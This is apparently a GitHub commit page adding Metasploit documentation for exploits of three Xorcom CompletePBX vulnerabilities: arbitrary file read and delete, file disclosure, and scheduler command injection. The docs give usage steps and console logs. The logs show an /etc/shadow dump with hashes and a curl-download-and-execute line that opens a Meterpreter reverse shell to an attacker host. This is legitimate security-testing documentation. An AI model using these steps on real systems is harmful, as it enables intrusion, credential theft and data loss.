Skip to content

Commit 05f2012

Browse files
jheysel-r7jheysel-r7
authored
Merge pull request #20338 from Chocapikk/xorcom
Add auxiliary and exploit modules for Xorcom CompletePBX 5.2.35 CVEs (2025-2292, 30004, 30005)
2 parents 6dcefab + 56f6a65 commit 05f2012

File tree

7 files changed

+861
-0
lines changed

7 files changed

+861
-0
lines changed

‎documentation/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.md

Lines changed: 142 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,142 @@
1+
## Vulnerable Application
2+
3+
This Metasploit module exploits an **Authenticated Arbitrary File Read and Deletion** vulnerability in **Xorcom CompletePBX <= 5.2.35**.
4+
The issue arises due to improper validation of the `systemDataFileName` parameter in the `diagnostics` module,
5+
allowing an attacker to retrieve arbitrary files from the system.
6+
7+
Additionally, this vulnerability **automatically deletes the requested file** after being accessed,
8+
leading to potential data loss on the target.
9+
10+
The vulnerability is identified as **CVE-2025-30005**.
11+
12+
### Setup
13+
14+
Download the ova file here: [](https://archive.org/details/completepbx-5-2-27-vuln)
15+
16+
## Verification Steps
17+
18+
1. Deploy a vulnerable instance of **Xorcom CompletePBX <= 5.2.35**.
19+
2. Launch **Metasploit Framework**.
20+
3. Use the module:
21+
```
22+
use auxiliary/admin/http/xorcom_completepbx_diagnostics_file_read
23+
```
24+
4. Set the **target host**:
25+
```
26+
set RHOSTS [TARGET_IP]
27+
```
28+
5. Set authentication credentials:
29+
```
30+
set USERNAME [VALID_ADMIN_USERNAME]
31+
set PASSWORD [VALID_ADMIN_PASSWORD]
32+
```
33+
6. Specify the file to read (before deletion):
34+
```
35+
set TARGETFILE /etc/passwd
36+
```
37+
7. Execute the module:
38+
```
39+
run
40+
```
41+
8. If successful, the contents of the specified file will be displayed before its deletion.
42+
43+
## Options
44+
45+
### USERNAME
46+
47+
Admin username for authentication.
48+
49+
### PASSWORD
50+
51+
Admin password for authentication.
52+
53+
### TARGETFILE
54+
55+
Path of the file to retrieve (**before automatic deletion**).
56+
57+
### DefangedMode
58+
59+
Safety switch (true by default). Set to **false** to actually perform the read-and-delete operation.
60+
61+
## Scenarios
62+
63+
### Successful Exploitation Against a Vulnerable CompletePBX Instance
64+
65+
**Setup**:
66+
67+
- **Target**: Xorcom CompletePBX <= 5.2.35
68+
- **Attacker**: Metasploit Framework instance
69+
70+
**Steps**:
71+
72+
```bash
73+
msf6 auxiliary(scanner/http/xorcom_completepbx_diagnostics_file_read) > run http://192.168.1.32/
74+
[*] Running module against 192.168.1.32
75+
[*] Running automatic check ("set AutoCheck false" to disable)
76+
[+] The target appears to be vulnerable.
77+
[-] Auxiliary aborted due to failure: bad-config:
78+
Are you *SURE* you want to execute the module against the target?
79+
Running this module will attempt to read and delete the file
80+
specified by TARGETFILE on the remote system.
81+
82+
If you have explicit authorisation, re-run with:
83+
set DefangedMode false
84+
85+
[*] Auxiliary module execution completed
86+
msf6 auxiliary(scanner/http/xorcom_completepbx_diagnostics_file_read) > set DefangedMode false
87+
DefangedMode => false
88+
msf6 auxiliary(scanner/http/xorcom_completepbx_diagnostics_file_read) > run http://192.168.1.32/
89+
[*] Running module against 192.168.1.32
90+
[*] Running automatic check ("set AutoCheck false" to disable)
91+
[+] The target appears to be vulnerable.
92+
[!] This exploit WILL delete the target file if permissions allow.
93+
[*] Attempting to read file: ../../../../../../../../../../..//etc/passwd
94+
[*] ZIP file received, attempting to list files
95+
[*] Files inside ZIP archive:
96+
- ../../../../../../../../../../..//etc/passwd
97+
- full_20250716_191240
98+
- audit_20250716_191240.log
99+
[+] Content of /etc/passwd:
100+
root:x:0:0:root:/root:/bin/bash
101+
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
102+
bin:x:2:2:bin:/bin:/usr/sbin/nologin
103+
sys:x:3:3:sys:/dev:/usr/sbin/nologin
104+
sync:x:4:65534:sync:/bin:/bin/sync
105+
games:x:5:60:games:/usr/games:/usr/sbin/nologin
106+
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
107+
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
108+
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
109+
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
110+
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
111+
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
112+
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
113+
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
114+
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
115+
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
116+
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
117+
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
118+
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
119+
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
120+
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
121+
avahi-autoipd:x:101:109:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
122+
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
123+
pbx:x:1000:1000:,,,:/home/pbx:/bin/bash
124+
mysql:x:103:111:MySQL Server,,,:/nonexistent:/bin/false
125+
postfix:x:104:113::/var/spool/postfix:/usr/sbin/nologin
126+
tcpdump:x:105:115::/nonexistent:/usr/sbin/nologin
127+
Debian-snmp:x:106:116::/var/lib/snmp:/bin/false
128+
_chrony:x:107:117:Chrony daemon,,,:/var/lib/chrony:/usr/sbin/nologin
129+
dnsmasq:x:108:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
130+
polkitd:x:996:996:polkit:/nonexistent:/usr/sbin/nologin
131+
asterisk:x:109:118:Asterisk PBX daemon,,,:/var/lib/asterisk:/usr/sbin/nologin
132+
cc-cloud-rec:x:999:995::/var/lib/cc-cloud-rec:/sbin/nologin
133+
134+
[*] Auxiliary module execution completed
135+
```
136+
137+
### Impact
138+
139+
- This vulnerability grants **file read access**, but also **automatically deletes** the retrieved file.
140+
- Attackers can extract sensitive data (e.g., user credentials) while simultaneously causing **data loss** on the system.
141+
142+
This module is designed to **demonstrate and automate** the exploitation of this issue using the Metasploit framework.

‎documentation/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.md

Lines changed: 112 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,112 @@
1+
## Vulnerable Application
2+
3+
This Metasploit module exploits an **Authenticated File Disclosure** vulnerability in **Xorcom CompletePBX <= 5.2.35**.
4+
The issue arises due to improper handling of user-supplied input
5+
in the **core download functionality**, allowing an attacker to read arbitrary files on the system with **root privileges**.
6+
7+
### Setup
8+
9+
Download the ova file here: [](https://archive.org/details/completepbx-5-2-27-vuln)
10+
11+
## Verification Steps
12+
13+
1. Deploy a vulnerable instance of **Xorcom CompletePBX <= 5.2.35**.
14+
2. Launch **Metasploit Framework**.
15+
3. Use the module:
16+
```
17+
use auxiliary/admin/http/xorcom_completepbx_file_disclosure
18+
```
19+
4. Set the **target host**:
20+
```
21+
set RHOSTS [TARGET_IP]
22+
```
23+
5. Set authentication credentials:
24+
```
25+
set USERNAME [VALID_ADMIN_USERNAME]
26+
set PASSWORD [VALID_ADMIN_PASSWORD]
27+
```
28+
6. Specify the file to read:
29+
```
30+
set TARGETFILE /etc/shadow
31+
```
32+
7. Execute the module:
33+
```
34+
run
35+
```
36+
8. If successful, the contents of the specified file will be displayed.
37+
38+
## Options
39+
40+
### USERNAME
41+
42+
Admin username for authentication.
43+
44+
### PASSWORD`
45+
46+
Admin password for authentication.
47+
48+
### TARGETFILE
49+
50+
Path of the file to retrieve (Base64-encoded in request).
51+
52+
## Scenarios
53+
54+
### Successful Exploitation Against a Vulnerable CompletePBX Instance
55+
56+
**Setup**:
57+
58+
- **Target**: Xorcom CompletePBX <= 5.2.35
59+
- **Attacker**: Metasploit Framework instance
60+
61+
**Steps**:
62+
63+
```bash
64+
msf6 auxiliary(scanner/http/xorcom_completepbx_file_disclosure) > run http://192.168.1.32/
65+
[*] Running module against 192.168.1.32
66+
[*] Running automatic check ("set AutoCheck false" to disable)
67+
[+] The target appears to be vulnerable.
68+
[*] Attempting to read file: /etc/shadow (Encoded as: ,L2V0Yy9zaGFkb3c=)
69+
[+] Content of /etc/shadow:
70+
root:$y$j9T$/vXScZij/ykAtLtP9H1nQ/$KK43hfpOrxdZwAZljjvS5dnF0ipg8NqpCOj9gbLJ9OA:19829:0:99999:7:::
71+
daemon:*:19829:0:99999:7:::
72+
bin:*:19829:0:99999:7:::
73+
sys:*:19829:0:99999:7:::
74+
sync:*:19829:0:99999:7:::
75+
games:*:19829:0:99999:7:::
76+
man:*:19829:0:99999:7:::
77+
lp:*:19829:0:99999:7:::
78+
mail:*:19829:0:99999:7:::
79+
news:*:19829:0:99999:7:::
80+
uucp:*:19829:0:99999:7:::
81+
proxy:*:19829:0:99999:7:::
82+
www-data:*:19829:0:99999:7:::
83+
backup:*:19829:0:99999:7:::
84+
list:*:19829:0:99999:7:::
85+
irc:*:19829:0:99999:7:::
86+
_apt:*:19829:0:99999:7:::
87+
nobody:*:19829:0:99999:7:::
88+
systemd-network:!*:19829::::::
89+
systemd-timesync:!*:19829::::::
90+
messagebus:!:19829::::::
91+
avahi-autoipd:!:19829::::::
92+
sshd:!:19829::::::
93+
pbx:$y$j9T$u6FpdD4iJVvFEqtUSAoFP/$P5iBn5ljpYEwcuXj4F9n6SBlMgWyxjqBDK82ija9Te5:19829:0:99999:7:::
94+
mysql:!:19829::::::
95+
postfix:!:19829::::::
96+
tcpdump:!:19829::::::
97+
Debian-snmp:!:19829::::::
98+
_chrony:!:19829::::::
99+
dnsmasq:!:19829::::::
100+
polkitd:!*:19829::::::
101+
asterisk:!:19829::::::
102+
cc-cloud-rec:!:19829::::::
103+
[*] Auxiliary module execution completed
104+
```
105+
106+
### Impact
107+
108+
- This vulnerability grants **full read access to system files as root**.
109+
- Attackers can retrieve **hashed passwords, SSH keys, and configuration files**,
110+
leading to **privilege escalation** and potential full system compromise.
111+
112+
This module is designed to **demonstrate and automate** the exploitation of this issue using the Metasploit framework.

‎documentation/modules/exploit/linux/http/xorcom_completepbx_scheduler.md

Lines changed: 108 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,108 @@
1+
## Vulnerable Application
2+
3+
This Metasploit module exploits an **Authenticated Command Injection** vulnerability in **Xorcom CompletePBX <= 5.2.35**.
4+
The issue resides in the task scheduler functionality, where user-controlled input is improperly sanitized, allowing
5+
arbitrary command execution with web server privileges.
6+
7+
Only the **superadmin** user (`admin`) has the necessary permissions to trigger this exploit.
8+
Even when creating a new user with maximum privileges, the vulnerability does not work.
9+
10+
The vulnerability is identified as **CVE-2025-30004**.
11+
12+
### Setup
13+
14+
Download the ova file here: [](https://archive.org/details/completepbx-5-2-27-vuln)
15+
16+
## Verification Steps
17+
18+
1. Deploy a vulnerable instance of **Xorcom CompletePBX <= 5.2.35**.
19+
2. Launch **Metasploit Framework**.
20+
3. Use the module:
21+
```
22+
use exploit/linux/http/xorcom_completepbx_scheduler_rce
23+
```
24+
4. Set the **target host**:
25+
```
26+
set RHOSTS [TARGET_IP]
27+
```
28+
5. Set authentication credentials:
29+
```
30+
set USERNAME [VALID_ADMIN_USERNAME]
31+
set PASSWORD [VALID_ADMIN_PASSWORD]
32+
```
33+
6. Configure the payload:
34+
```
35+
set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
36+
set LHOST [ATTACKER_IP]
37+
set LPORT [LISTENER_PORT]
38+
```
39+
7. Execute the module:
40+
```
41+
run
42+
```
43+
8. If successful, a **Meterpreter session** will be opened on the target.
44+
45+
## Options
46+
47+
### USERNAME
48+
49+
Admin username for authentication.
50+
51+
### PASSWORD
52+
53+
Admin password for authentication.
54+
55+
## Scenarios
56+
57+
### Successful Exploitation Against a Vulnerable CompletePBX Instance
58+
59+
**Setup**:
60+
61+
- **Target**: Xorcom CompletePBX <= 5.2.35
62+
- **Attacker**: Metasploit Framework instance
63+
64+
**Steps**:
65+
66+
```bash
67+
msf6 exploit(linux/http/xorcom_completepbx_scheduler) > run http://192.168.1.32/
68+
[*] Command to run on remote host: curl -so ./HEuUpqtYDav http://192.168.1.36:8080/LoPlnjEpeOexZNVppn6cAA;chmod +x ./HEuUpqtYDav;./HEuUpqtYDav&
69+
[*] Fetch handler listening on 192.168.1.36:8080
70+
[*] HTTP server started
71+
[*] Adding resource /LoPlnjEpeOexZNVppn6cAA
72+
[*] Started reverse TCP handler on 192.168.1.36:4444
73+
[*] Running automatic check ("set AutoCheck false" to disable)
74+
[*] Checking if the target is running CompletePBX...
75+
[+] Detected CompletePBX on 192.168.1.32:80
76+
[+] The target appears to be vulnerable.
77+
[*] Attempting authentication with username: admin
78+
[+] Authentication successful! Session ID: sid=697e43b483efc1ac316461cde1fbb5d470abc3b4
79+
[*] Creating malicious scheduled task with description: Possimus quibusdam assumenda minima.
80+
[+] Malicious task successfully created.
81+
[*] Retrieving latest task ID for description: Possimus quibusdam assumenda minima....
82+
[+] Found task with ID: 18
83+
[*] Executing malicious task ID 18...
84+
[*] Client 192.168.1.32 requested /LoPlnjEpeOexZNVppn6cAA
85+
[*] Sending payload to 192.168.1.32 (curl/7.88.1)
86+
[*] Transmitting intermediate stager...(126 bytes)
87+
[*] Sending stage (3045380 bytes) to 192.168.1.32
88+
[+] Task executed successfully!
89+
[*] Sending delete request (mode=delete) for task ID 18...
90+
[*] Sending delete request (mode=deleteConfirmed) for task ID 18...
91+
[+] Task 18 deleted successfully!
92+
[*] Meterpreter session 6 opened (192.168.1.36:4444 -> 192.168.1.32:40800) at 2025-07-16 21:11:31 +0200
93+
94+
meterpreter > sysinfo
95+
Computer : localhost.localdomain
96+
OS : Debian 12.5 (Linux 6.1.0-20-amd64)
97+
Architecture : x64
98+
BuildTuple : x86_64-linux-musl
99+
Meterpreter : x64/linux
100+
```
101+
102+
### Impact
103+
104+
- This vulnerability grants **remote code execution** capabilities.
105+
- Attackers can execute arbitrary commands as the **web server user**, potentially leading to full system compromise.
106+
- Exploitation provides a **Meterpreter session** for post-exploitation activities.
107+
108+
This module is designed to **demonstrate and automate** the exploitation of this issue using the Metasploit framework.

0 commit comments

Comments
 (0)